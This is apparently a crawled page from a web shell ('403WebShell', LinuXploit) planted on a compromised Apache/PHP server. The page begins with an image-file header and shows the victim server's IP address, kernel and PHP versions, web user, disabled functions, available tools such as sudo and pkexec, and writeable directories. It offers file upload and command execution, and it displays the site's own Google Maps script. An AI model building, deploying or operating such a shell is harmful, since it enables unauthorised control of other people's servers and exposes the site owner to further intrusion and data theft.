????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.224.37.168
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/go/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/go/js/script.js
	if (!Array.prototype.indexOf)
{
  Array.prototype.indexOf = function(elt /*, from*/)
  {
    var len = this.length;

    var from = Number(arguments[1]) || 0;
    from = (from < 0)
         ? Math.ceil(from)
         : Math.floor(from);
    if (from < 0)
      from += len;

    for (; from < len; from++)
    {
      if (from in this &&
          this[from] === elt)
        return from;
    }
    return -1;
  };
}


	var map;
	var geocoder;
	var infowindow = new google.maps.InfoWindow();
	var markers = [];
	var Types = new Array();

	function initialize() {
		
		loaded = true;
		var start_position = new google.maps.LatLng(51.0,3.0);
		var mapOptions = {
		  zoom: 5,
		  mapTypeId: google.maps.MapTypeId.HYBRID,
		  center: start_position
		};
		map = new google.maps.Map(document.getElementById("map_canvas"),mapOptions);
	
		
		addPlacemarks("");
		//drawFilterMenu();
		//drawManagementMenu();
		//drawPurposesMenu();
		//drawCityMenu();
		
	}
	
	function addPlacemarks(types){
	var bounds = new google.maps.LatLngBounds();
	var x = 0;
	for (data in JSON_projects) {
		var latlong = JSON_projects[x][2].PosLatLong.split(",");
		
	
		
		var Name = JSON_projects[x][0].Name;
		var Type = JSON_projects[x][3].Type;
		var Description = JSON_projects[x][4].Description;
		var Customer = JSON_projects[x][8].Customer;
		
		if(Types.indexOf(Type) === -1){
			Types.push(Type);	
		}
		
		var MerInfo = "Adres: "+JSON_projects[x][1].Address+"<br>LA: 721.87 m2<br>NFA: 616.13 m2<br><br>360 panoramische foto:<a href='C:/GO/Truview/SiteMap.html'>Link</a><br>DWG:<a href='"+JSON_projects[x][7].Dwg+"'>Link</a><br>PDF:<a href='http://www.astacus.se/go/Admiinistratiegebouw - Schoonmeersstraat 26 9000 Gent (+1).pdf'>Link</a><br><br>Datum: 2014-11-25";
		
		var Message = Name+" ("+Type+")<br>"+Description+"<br>"+MerInfo+"<br>";
		
		var pos = new google.maps.LatLng(latlong[0],latlong[1]);
		bounds.extend(pos);
		
		if(types == ""){
			addBuildingInMap(latlong[0],latlong[1],"http://www.astacus.se/go/symbol.png",Message);
		}else{
			if(types.indexOf(Type) !== -1){
				addBuildingInMap(latlong[0],latlong[1],"http://www.astacus.se/go/symbol.png",Message);
			}
		}
		
		
		x++;
	}
	
		if(!bounds.isEmpty()){
			
			map.fitBounds(bounds);
		}
	
	}
	
	function addBuildingInMap(lat, long, icon, text){
		var pos = new google.maps.LatLng(lat,long);
		var marker = new google.maps.Marker({
        	map:map,
			animation: google.maps.Animation.DROP,
			position: pos,
			content: text
        });
        	  
		marker.setIcon(icon);
		markers.push(marker);
		google.maps.event.addListener(marker, 'click', showBuildingInfo);
	
  	}
	
	function showBuildingInfo(event) {
		//alert("Klicked!");
		var contentString = this.content;
		infowindow.setContent(contentString);
		infowindow.setPosition(event.latLng);
		infowindow.open(map);
	}
	
	
	function deleteAllMarkers() {      
		if (markers) {      
			var x = 0;
			for (i in markers) {     
				if(markers[x] != null){
					markers[x].setMap(null);
				}
				x++; 
			}  
		}  
		markers = []; 
	}
	
	function drawFilterMenu(){
		
			Types.sort();
			var html = "";
			var x = 0;
			for (i in Types) {     
				if(Types[x] != null){
					var Type = Types[x];
					
					var html_ = '<table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td width="43"><input type="checkbox" name="checkbox" id="type'+x+'"   onclick="updateMap();"/><label for="checkbox"></label></td><td width="257"><div id="type_text'+x+'">'+Type+'</div></td></tr></table>';
					html += html_;
					
				}
				x++; 
			}  
			
			document.getElementById("filtermenu").innerHTML = html;
		
	}
	
	function updateMap(){
		
		deleteAllMarkers();
		
		var types = [];
		for(var i = 0; i < 100; i++){
			if(document.getElementById('type'+i) != undefined){
				if(document.getElementById('type'+i).checked){
					types.push(document.getElementById('type_text'+i).innerHTML);	
				}
			}
		}
		addPlacemarks(types);
		
	}
	

Youez - 2016 - github.com/yon3zu
LinuXploit